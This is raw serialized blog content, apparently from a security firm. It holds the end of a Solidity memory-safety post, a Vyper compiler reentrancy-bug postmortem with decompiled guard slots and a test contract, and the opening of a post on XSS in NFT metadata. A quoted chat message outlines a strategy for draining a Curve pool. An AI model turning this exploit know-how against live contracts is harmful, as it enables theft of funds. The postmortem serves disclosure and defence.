bodyCopier",{"type":23,"tag":504,"props":32359,"children":32360},{"style":5058},[32361],{"type":29,"value":603},{"type":23,"tag":504,"props":32363,"children":32364},{"style":5041},[32365],{"type":29,"value":32209},{"type":23,"tag":504,"props":32367,"children":32368},{"style":5058},[32369],{"type":29,"value":357},{"type":23,"tag":504,"props":32371,"children":32372},{"style":5139},[32373],{"type":29,"value":32374},"operations",{"type":23,"tag":504,"props":32376,"children":32377},{"style":5058},[32378],{"type":29,"value":32379},"());`\n",{"type":23,"tag":139,"props":32381,"children":32382},{"start":4868},[32383],{"type":23,"tag":143,"props":32384,"children":32385},{},[32386],{"type":29,"value":32387},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":32,"props":32389,"children":32390},{},[32391],{"type":29,"value":32392},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":24,"props":32394,"children":32395},{"id":7353},[32396],{"type":29,"value":7356},{"type":23,"tag":32,"props":32398,"children":32399},{},[32400],{"type":29,"value":32401},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":32,"props":32403,"children":32404},{},[32405],{"type":29,"value":32406},"It's a promise between YUL generation and optimization.",{"type":23,"tag":20472,"props":32408,"children":32410},{"className":32409,"dataFootnotes":7},[20475],[32411,32416],{"type":23,"tag":24,"props":32412,"children":32414},{"className":32413,"id":17527},[20480],[32415],{"type":29,"value":20483},{"type":23,"tag":139,"props":32417,"children":32418},{},[32419,32453],{"type":23,"tag":143,"props":32420,"children":32422},{"id":32421},"user-content-fn-1",[32423,32425,32430,32432,32438,32440,32445,32447],{"type":29,"value":32424},"As an interesting aside, ",{"type":23,"tag":154,"props":32426,"children":32428},{"className":32427},[],[32429],{"type":29,"value":31425},{"type":29,"value":32431}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":154,"props":32433,"children":32435},{"className":32434},[],[32436],{"type":29,"value":32437},"memory-unsafe",{"type":29,"value":32439}," code can ",{"type":23,"tag":4321,"props":32441,"children":32442},{},[32443],{"type":29,"value":32444},"decrease",{"type":29,"value":32446}," gas consumption, especially in the YUL header. ",{"type":23,"tag":68,"props":32448,"children":32451},{"href":32449,"ariaLabel":20586,"className":32450,"dataFootnoteBackref":7},"#user-content-fnref-1",[20588],[32452],{"type":29,"value":20591},{"type":23,"tag":143,"props":32454,"children":32456},{"id":32455},"user-content-fn-2",[32457,32459,32464,32466],{"type":29,"value":32458},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":4321,"props":32460,"children":32461},{},[32462],{"type":29,"value":32463},"guarantee",{"type":29,"value":32465}," behavior with opaque bytes. ",{"type":23,"tag":68,"props":32467,"children":32470},{"href":32468,"ariaLabel":20606,"className":32469,"dataFootnoteBackref":7},"#user-content-fnref-2",[20588],[32471],{"type":29,"value":20591},{"type":23,"tag":7410,"props":32473,"children":32474},{},[32475],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":32477},[32478,32479,32480,32481,32482,32483,32484],{"id":31069,"depth":4868,"text":31072},{"id":31123,"depth":4868,"text":31126},{"id":31387,"depth":4868,"text":31390},{"id":31118,"depth":4868,"text":31611},{"id":31958,"depth":4868,"text":31961},{"id":7353,"depth":4868,"text":7356},{"id":17527,"depth":4868,"text":20483},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":32489,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32490,"description":32491,"author":7765,"image":32492,"date":32494,"isFeatured":15,"onBlogPage":15,"tags":32495,"body":32497,"_type":4892,"_id":33248,"_source":4894,"_file":33249,"_stem":33250,"_extension":4897},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":32493,"height":14,"width":14},"/posts/vyper-timeline/header.jpg","2023-08-01",[32496,31064],"vyper",{"type":20,"children":32498,"toc":33239},[32499,32504,32509,32514,32520,32525,32543,32553,32558,32566,32576,32595,32675,32685,32845,32850,32855,32865,32872,32877,32882,32896,32901,32918,32935,32954,32964,32977,32982,32995,33000,33005,33015,33042,33052,33082,33088,33097,33103,33108,33113,33118,33124,33129,33143,33148,33153,33158,33164,33169,33182,33208,33213,33235],{"type":23,"tag":32,"props":32500,"children":32501},{},[32502],{"type":29,"value":32503},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":32,"props":32505,"children":32506},{},[32507],{"type":29,"value":32508},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":32,"props":32510,"children":32511},{},[32512],{"type":29,"value":32513},"Here's how it all happened.",{"type":23,"tag":24,"props":32515,"children":32517},{"id":32516},"timeline",[32518],{"type":29,"value":32519},"Timeline",{"type":23,"tag":32,"props":32521,"children":32522},{},[32523],{"type":29,"value":32524},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":32,"props":32526,"children":32527},{},[32528,32533,32535,32542],{"type":23,"tag":38,"props":32529,"children":32530},{},[32531],{"type":29,"value":32532},"13:10 UTC",{"type":29,"value":32534}," pETH/ETH was ",{"type":23,"tag":68,"props":32536,"children":32539},{"href":32537,"rel":32538},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[72],[32540],{"type":29,"value":32541},"drained of $11M",{"type":29,"value":357},{"type":23,"tag":32,"props":32544,"children":32545},{},[32546,32551],{"type":23,"tag":38,"props":32547,"children":32548},{},[32549],{"type":29,"value":32550},"13:19 UTC",{"type":29,"value":32552}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":32,"props":32554,"children":32555},{},[32556],{"type":29,"value":32557},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":446,"props":32559,"children":32560},{},[32561],{"type":23,"tag":32,"props":32562,"children":32563},{},[32564],{"type":29,"value":32565},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":32,"props":32567,"children":32568},{},[32569,32574],{"type":23,"tag":38,"props":32570,"children":32571},{},[32572],{"type":29,"value":32573},"14:01 UTC",{"type":29,"value":32575}," A warroom was formed around this comment.",{"type":23,"tag":32,"props":32577,"children":32578},{},[32579,32584,32586,32593],{"type":23,"tag":38,"props":32580,"children":32581},{},[32582],{"type":29,"value":32583},"14:07 UTC",{"type":29,"value":32585}," We decompiled the JPEGd contract ",{"type":23,"tag":68,"props":32587,"children":32590},{"href":32588,"rel":32589},"https://ethervm.io/decompile",[72],[32591],{"type":29,"value":32592},"with our favorite decompiler",{"type":29,"value":32594}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":4743,"props":32596,"children":32600},{"className":32597,"code":32598,"language":32599,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[32601],{"type":23,"tag":154,"props":32602,"children":32603},{"__ignoreMap":7},[32604,32612,32620,32628,32636,32643,32651,32659,32667],{"type":23,"tag":504,"props":32605,"children":32606},{"class":5016,"line":5017},[32607],{"type":23,"tag":504,"props":32608,"children":32609},{},[32610],{"type":29,"value":32611},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":504,"props":32613,"children":32614},{"class":5016,"line":4868},[32615],{"type":23,"tag":504,"props":32616,"children":32617},{},[32618],{"type":29,"value":32619},"label_0057:\n",{"type":23,"tag":504,"props":32621,"children":32622},{"class":5016,"line":4876},[32623],{"type":23,"tag":504,"props":32624,"children":32625},{},[32626],{"type":29,"value":32627},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":504,"props":32629,"children":32630},{"class":5016,"line":5099},[32631],{"type":23,"tag":504,"props":32632,"children":32633},{},[32634],{"type":29,"value":32635},"    storage[0x00] = 0x01;\n",{"type":23,"tag":504,"props":32637,"children":32638},{"class":5016,"line":5203},[32639],{"type":23,"tag":504,"props":32640,"children":32641},{"emptyLinePlaceholder":15},[32642],{"type":29,"value":5734},{"type":23,"tag":504,"props":32644,"children":32645},{"class":5016,"line":5308},[32646],{"type":23,"tag":504,"props":32647,"children":32648},{},[32649],{"type":29,"value":32650},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":504,"props":32652,"children":32653},{"class":5016,"line":5336},[32654],{"type":23,"tag":504,"props":32655,"children":32656},{},[32657],{"type":29,"value":32658},"label_1AF3:\n",{"type":23,"tag":504,"props":32660,"children":32661},{"class":5016,"line":5349},[32662],{"type":23,"tag":504,"props":32663,"children":32664},{},[32665],{"type":29,"value":32666},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":504,"props":32668,"children":32669},{"class":5016,"line":5367},[32670],{"type":23,"tag":504,"props":32671,"children":32672},{},[32673],{"type":29,"value":32674},"    storage[0x02] = 0x01;\n",{"type":23,"tag":32,"props":32676,"children":32677},{},[32678,32683],{"type":23,"tag":38,"props":32679,"children":32680},{},[32681],{"type":29,"value":32682},"14:27 UTC",{"type":29,"value":32684}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":4743,"props":32686,"children":32688},{"className":21513,"code":32687,"language":21512,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[32689],{"type":23,"tag":154,"props":32690,"children":32691},{"__ignoreMap":7},[32692,32700,32721,32756,32768,32775,32782,32801,32833],{"type":23,"tag":504,"props":32693,"children":32694},{"class":5016,"line":5017},[32695],{"type":23,"tag":504,"props":32696,"children":32697},{"style":5139},[32698],{"type":29,"value":32699},"@external\n",{"type":23,"tag":504,"props":32701,"children":32702},{"class":5016,"line":4868},[32703,32708,32712,32717],{"type":23,"tag":504,"props":32704,"children":32705},{"style":5139},[32706],{"type":29,"value":32707},"@nonreentrant",{"type":23,"tag":504,"props":32709,"children":32710},{"style":5058},[32711],{"type":29,"value":603},{"type":23,"tag":504,"props":32713,"children":32714},{"style":6297},[32715],{"type":29,"value":32716},"\"lock\"",{"type":23,"tag":504,"props":32718,"children":32719},{"style":5058},[32720],{"type":29,"value":5200},{"type":23,"tag":504,"props":32722,"children":32723},{"class":5016,"line":4876},[32724,32729,32734,32738,32743,32748,32752],{"type":23,"tag":504,"props":32725,"children":32726},{"style":5030},[32727],{"type":29,"value":32728},"def",{"type":23,"tag":504,"props":32730,"children":32731},{"style":5139},[32732],{"type":29,"value":32733}," test",{"type":23,"tag":504,"props":32735,"children":32736},{"style":5058},[32737],{"type":29,"value":603},{"type":23,"tag":504,"props":32739,"children":32740},{"style":5041},[32741],{"type":29,"value":32742},"addr",{"type":23,"tag":504,"props":32744,"children":32745},{"style":5058},[32746],{"type":29,"value":32747},": address) -> ",{"type":23,"tag":504,"props":32749,"children":32750},{"style":5467},[32751],{"type":29,"value":31740},{"type":23,"tag":504,"props":32753,"children":32754},{"style":5058},[32755],{"type":29,"value":7613},{"type":23,"tag":504,"props":32757,"children":32758},{"class":5016,"line":5099},[32759,32763],{"type":23,"tag":504,"props":32760,"children":32761},{"style":5067},[32762],{"type":29,"value":19037},{"type":23,"tag":504,"props":32764,"children":32765},{"style":5030},[32766],{"type":29,"value":32767}," True\n",{"type":23,"tag":504,"props":32769,"children":32770},{"class":5016,"line":5203},[32771],{"type":23,"tag":504,"props":32772,"children":32773},{"emptyLinePlaceholder":15},[32774],{"type":29,"value":5734},{"type":23,"tag":504,"props":32776,"children":32777},{"class":5016,"line":5308},[32778],{"type":23,"tag":504,"props":32779,"children":32780},{"style":5139},[32781],{"type":29,"value":32699},{"type":23,"tag":504,"props":32783,"children":32784},{"class":5016,"line":5336},[32785,32789,32793,32797],{"type":23,"tag":504,"props":32786,"children":32787},{"style":5139},[32788],{"type":29,"value":32707},{"type":23,"tag":504,"props":32790,"children":32791},{"style":5058},[32792],{"type":29,"value":603},{"type":23,"tag":504,"props":32794,"children":32795},{"style":6297},[32796],{"type":29,"value":32716},{"type":23,"tag":504,"props":32798,"children":32799},{"style":5058},[32800],{"type":29,"value":5200},{"type":23,"tag":504,"props":32802,"children":32803},{"class":5016,"line":5349},[32804,32808,32813,32817,32821,32825,32829],{"type":23,"tag":504,"props":32805,"children":32806},{"style":5030},[32807],{"type":29,"value":32728},{"type":23,"tag":504,"props":32809,"children":32810},{"style":5139},[32811],{"type":29,"value":32812}," test2",{"type":23,"tag":504,"props":32814,"children":32815},{"style":5058},[32816],{"type":29,"value":603},{"type":23,"tag":504,"props":32818,"children":32819},{"style":5041},[32820],{"type":29,"value":32742},{"type":23,"tag":504,"props":32822,"children":32823},{"style":5058},[32824],{"type":29,"value":32747},{"type":23,"tag":504,"props":32826,"children":32827},{"style":5467},[32828],{"type":29,"value":31740},{"type":23,"tag":504,"props":32830,"children":32831},{"style":5058},[32832],{"type":29,"value":7613},{"type":23,"tag":504,"props":32834,"children":32835},{"class":5016,"line":5367},[32836,32840],{"type":23,"tag":504,"props":32837,"children":32838},{"style":5067},[32839],{"type":29,"value":19037},{"type":23,"tag":504,"props":32841,"children":32842},{"style":5030},[32843],{"type":29,"value":32844}," False\n",{"type":23,"tag":32,"props":32846,"children":32847},{},[32848],{"type":29,"value":32849},"This was not just another reentrancy bug.",{"type":23,"tag":32,"props":32851,"children":32852},{},[32853],{"type":29,"value":32854},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":32,"props":32856,"children":32857},{},[32858,32863],{"type":23,"tag":38,"props":32859,"children":32860},{},[32861],{"type":29,"value":32862},"14:37 UTC",{"type":29,"value":32864}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":32,"props":32866,"children":32867},{},[32868],{"type":23,"tag":199,"props":32869,"children":32871},{"alt":7,"src":32870},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":32,"props":32873,"children":32874},{},[32875],{"type":29,"value":32876},"It was a race with the hackers.",{"type":23,"tag":32,"props":32878,"children":32879},{},[32880],{"type":29,"value":32881},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":446,"props":32883,"children":32884},{},[32885],{"type":23,"tag":32,"props":32886,"children":32887},{},[32888,32890],{"type":29,"value":32889},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":68,"props":32891,"children":32894},{"href":32892,"rel":32893},"https://twitter.com/hexagate_/status/1685677801813217280",[72],[32895],{"type":29,"value":32892},{"type":23,"tag":32,"props":32897,"children":32898},{},[32899],{"type":29,"value":32900},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":32,"props":32902,"children":32903},{},[32904,32909,32910,32917],{"type":23,"tag":38,"props":32905,"children":32906},{},[32907],{"type":29,"value":32908},"14:50 UTC",{"type":29,"value":1698},{"type":23,"tag":68,"props":32911,"children":32914},{"href":32912,"rel":32913},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[72],[32915],{"type":29,"value":32916},"msETH/ETH was drained",{"type":29,"value":357},{"type":23,"tag":32,"props":32919,"children":32920},{},[32921,32926,32927,32934],{"type":23,"tag":38,"props":32922,"children":32923},{},[32924],{"type":29,"value":32925},"15:34 UTC",{"type":29,"value":1698},{"type":23,"tag":68,"props":32928,"children":32931},{"href":32929,"rel":32930},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[72],[32932],{"type":29,"value":32933},"alETH/ETH was drained",{"type":29,"value":357},{"type":23,"tag":32,"props":32936,"children":32937},{},[32938,32943,32945,32952],{"type":23,"tag":38,"props":32939,"children":32940},{},[32941],{"type":29,"value":32942},"15:43 UTC",{"type":29,"value":32944}," We identified that ",{"type":23,"tag":68,"props":32946,"children":32949},{"href":32947,"rel":32948},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[72],[32950],{"type":29,"value":32951},"CRV/ETH was vulnerable",{"type":29,"value":32953},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":32,"props":32955,"children":32956},{},[32957,32962],{"type":23,"tag":38,"props":32958,"children":32959},{},[32960],{"type":29,"value":32961},"16:11 UTC",{"type":29,"value":32963}," We began working on a whitehat exploit.",{"type":23,"tag":32,"props":32965,"children":32966},{},[32967,32969,32976],{"type":29,"value":32968},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":68,"props":32970,"children":32973},{"href":32971,"rel":32972},"https://twitter.com/vyperlang/status/1685692973051498497",[72],[32974],{"type":29,"value":32975},"public statement on affected versions",{"type":29,"value":357},{"type":23,"tag":32,"props":32978,"children":32979},{},[32980],{"type":29,"value":32981},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":32,"props":32983,"children":32984},{},[32985,32987,32994],{"type":29,"value":32986},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":68,"props":32988,"children":32991},{"href":32989,"rel":32990},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[72],[32992],{"type":29,"value":32993},"somebody else stole the funds",{"type":29,"value":357},{"type":23,"tag":32,"props":32996,"children":32997},{},[32998],{"type":29,"value":32999},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":32,"props":33001,"children":33002},{},[33003],{"type":29,"value":33004},"Nevertheless, there was more ground to cover.",{"type":23,"tag":32,"props":33006,"children":33007},{},[33008,33013],{"type":23,"tag":38,"props":33009,"children":33010},{},[33011],{"type":29,"value":33012},"21:26 UTC",{"type":29,"value":33014}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":446,"props":33016,"children":33017},{},[33018],{"type":23,"tag":32,"props":33019,"children":33020},{},[33021,33023,33027,33029,33032,33034,33037,33039],{"type":29,"value":33022},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":33024,"props":33025,"children":33026},"br",{},[],{"type":29,"value":33028},"\nyou can then update admin fee ",{"type":23,"tag":33024,"props":33030,"children":33031},{},[],{"type":29,"value":33033},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":33024,"props":33035,"children":33036},{},[],{"type":29,"value":33038},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":33024,"props":33040,"children":33041},{},[],{"type":23,"tag":32,"props":33043,"children":33044},{},[33045,33050],{"type":23,"tag":38,"props":33046,"children":33047},{},[33048],{"type":29,"value":33049},"21:52 UTC",{"type":29,"value":33051}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":32,"props":33053,"children":33054},{},[33055,33057,33064,33066,33073,33081],{"type":29,"value":33056},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":68,"props":33058,"children":33061},{"href":33059,"rel":33060},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[72],[33062],{"type":29,"value":33063},"CRV admin fee bot",{"type":29,"value":33065}," had claimed fees and ",{"type":23,"tag":68,"props":33067,"children":33070},{"href":33068,"rel":33069},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[72],[33071],{"type":29,"value":33072},"the pool was drained",{"type":23,"tag":17520,"props":33074,"children":33075},{},[33076],{"type":23,"tag":68,"props":33077,"children":33079},{"href":31678,"ariaDescribedBy":33078,"dataFootnoteRef":7,"id":31680},[17527],[33080],{"type":29,"value":826},{"type":29,"value":357},{"type":23,"tag":24,"props":33083,"children":33085},{"id":33084},"blame",[33086],{"type":29,"value":33087},"Blame",{"type":23,"tag":32,"props":33089,"children":33090},{},[33091,33095],{"type":23,"tag":4321,"props":33092,"children":33093},{},[33094],{"type":29,"value":33087},{"type":29,"value":33096}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":320,"props":33098,"children":33100},{"id":33099},"races",[33101],{"type":29,"value":33102},"Races",{"type":23,"tag":32,"props":33104,"children":33105},{},[33106],{"type":29,"value":33107},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":32,"props":33109,"children":33110},{},[33111],{"type":29,"value":33112},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":32,"props":33114,"children":33115},{},[33116],{"type":29,"value":33117},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":320,"props":33119,"children":33121},{"id":33120},"information-leakage",[33122],{"type":29,"value":33123},"Information Leakage",{"type":23,"tag":32,"props":33125,"children":33126},{},[33127],{"type":29,"value":33128},"I was both an auditor and a whitehat.",{"type":23,"tag":32,"props":33130,"children":33131},{},[33132,33134,33141],{"type":29,"value":33133},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":68,"props":33135,"children":33138},{"href":33136,"rel":33137},"https://twitter.com/osec_io/status/1579969927020412929",[72],[33139],{"type":29,"value":33140},"by publishing the \"scoop\"",{"type":29,"value":33142}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":32,"props":33144,"children":33145},{},[33146],{"type":29,"value":33147},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":32,"props":33149,"children":33150},{},[33151],{"type":29,"value":33152},"Half an hour more could have saved $18M.",{"type":23,"tag":32,"props":33154,"children":33155},{},[33156],{"type":29,"value":33157},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":24,"props":33159,"children":33161},{"id":33160},"next-steps",[33162],{"type":29,"value":33163},"Next Steps",{"type":23,"tag":32,"props":33165,"children":33166},{},[33167],{"type":29,"value":33168},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":32,"props":33170,"children":33171},{},[33172,33174,33181],{"type":29,"value":33173},"It's important to note that this bug ",{"type":23,"tag":68,"props":33175,"children":33178},{"href":33176,"rel":33177},"https://twitter.com/real_philogy/status/1685948253139857409",[72],[33179],{"type":29,"value":33180},"was patched since November 2021",{"type":29,"value":357},{"type":23,"tag":446,"props":33183,"children":33184},{},[33185],{"type":23,"tag":32,"props":33186,"children":33187},{},[33188,33190,33195,33196,33199,33201,33206],{"type":29,"value":33189},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":4321,"props":33191,"children":33192},{},[33193],{"type":29,"value":33194},"processes",{"type":29,"value":20582},{"type":23,"tag":33024,"props":33197,"children":33198},{},[],{"type":29,"value":33200},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":4321,"props":33202,"children":33203},{},[33204],{"type":29,"value":33205},"was",{"type":29,"value":33207}," fixed.",{"type":23,"tag":32,"props":33209,"children":33210},{},[33211],{"type":29,"value":33212},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":20472,"props":33214,"children":33216},{"className":33215,"dataFootnotes":7},[20475],[33217,33222],{"type":23,"tag":24,"props":33218,"children":33220},{"className":33219,"id":17527},[20480],[33221],{"type":29,"value":20483},{"type":23,"tag":139,"props":33223,"children":33224},{},[33225],{"type":23,"tag":143,"props":33226,"children":33227},{"id":32421},[33228,33230],{"type":29,"value":33229},"Thankfully, these funds were later returned. ",{"type":23,"tag":68,"props":33231,"children":33233},{"href":32449,"ariaLabel":20586,"className":33232,"dataFootnoteBackref":7},[20588],[33234],{"type":29,"value":20591},{"type":23,"tag":7410,"props":33236,"children":33237},{},[33238],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":33240},[33241,33242,33246,33247],{"id":32516,"depth":4868,"text":32519},{"id":33084,"depth":4868,"text":33087,"children":33243},[33244,33245],{"id":33099,"depth":4876,"text":33102},{"id":33120,"depth":4876,"text":33123},{"id":33160,"depth":4868,"text":33163},{"id":17527,"depth":4868,"text":20483},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":33252,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33253,"description":33254,"author":33255,"image":33257,"date":33259,"isFeatured":15,"tags":33260,"onBlogPage":15,"body":33263,"_type":4892,"_id":37475,"_source":4894,"_file":37476,"_stem":37477,"_extension":4897},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[11,33256],"bruno",{"src":33258,"height":14,"width":14},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[33261,33262],"nft-marketplaces","xss",{"type":20,"children":33264,"toc":37458},[33265,33269,33274,33278,33283,33288,33293,33309,33315,33328,33350,33357,33362,33369,33374,33380,33385,33390,33395,33400,33411,33416,34385,34395,34407,34414,34419,35240,35245,35250,35255,35260,36044,36049,36131,36136,36205,36211,36216,36221,36448,36461,36466,36471,36476,36483,36488,36495,36501,36506,36511,36516,36835,36840,36846,36862,36868,36873,36878,36888,36893,36898,36907,36912,36918,36934,36947,36952,36957,36977,36984,36989,36996,37005,37010,37031,37084,37089,37140,37154,37159,37173,37288,37311,37395,37418,37423,37428,37433,37438,37443,37449,37454],{"type":23,"tag":24,"props":33266,"children":33267},{"id":31069},[33268],{"type":29,"value":31072},{"type":23,"tag":32,"props":33270,"children":33271},{},[33272],{"type":29,"value":33273},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":320,"props":33275,"children":33276},{"id":4947},[33277],{"type":29,"value":4950},{"type":23,"tag":32,"props":33279,"children":33280},{},[33281],{"type":29,"value":33282},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":32,"props":33284,"children":33285},{},[33286],{"type":29,"value":33287},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":24,"props":33289,"children":33290},{"id":33262},[33291],{"type":29,"value":33292},"XSS",{"type":23,"tag":32,"props":33294,"children":33295},{},[33296],{"type":23,"tag":4321,"props":33297,"children":33298},{},[33299,33301,33308],{"type":29,"value":33300},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":68,"props":33302,"children":33305},{"href":33303,"rel":33304},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[72],[33306],{"type":29,"value":33307},"even explain it to myself",{"type":29,"value":357},{"type":23,"tag":320,"props":33310,"children":33312},{"id":33311},"managing-metadata",[33313],{"type":29,"value":33314},"Managing Metadata",{"type":23,"tag":32,"props":33316,"children":33317},{},[33318,33320,33327],{"type":29,"value":33319},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":68,"props":33321,"children":33324},{"href":33322,"rel":33323},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[72],[33325],{"type":29,"value":33326},"payloads",{"type":29,"value":357},{"type":23,"tag":32,"props":33329,"children":33330},{},[33331,33333,33340,33342,33348],{"type":29,"value":33332},"We showcase this vulnerability in the ",{"type":23,"tag":68,"props":33334,"children":33337},{"href":33335,"rel":33336},"https://rocki.com/",[72],[33338],{"type":29,"value":33339},"Rocki Marketplace",{"type":29,"value":33341},". The ",{"type":23,"tag":154,"props":33343,"children":33345},{"className":33344},[],[33346],{"type":29,"value":33347},"artistDescription",{"type":29,"value":33349}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":32,"props":33351,"children":33352},{},[33353],{"type":23,"tag":199,"props":33354,"children":33356},{"alt":7,"src":33355},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":32,"props":33358,"children":33359},{},[33360],{"type":29,"value":33361},"When a user loads such a 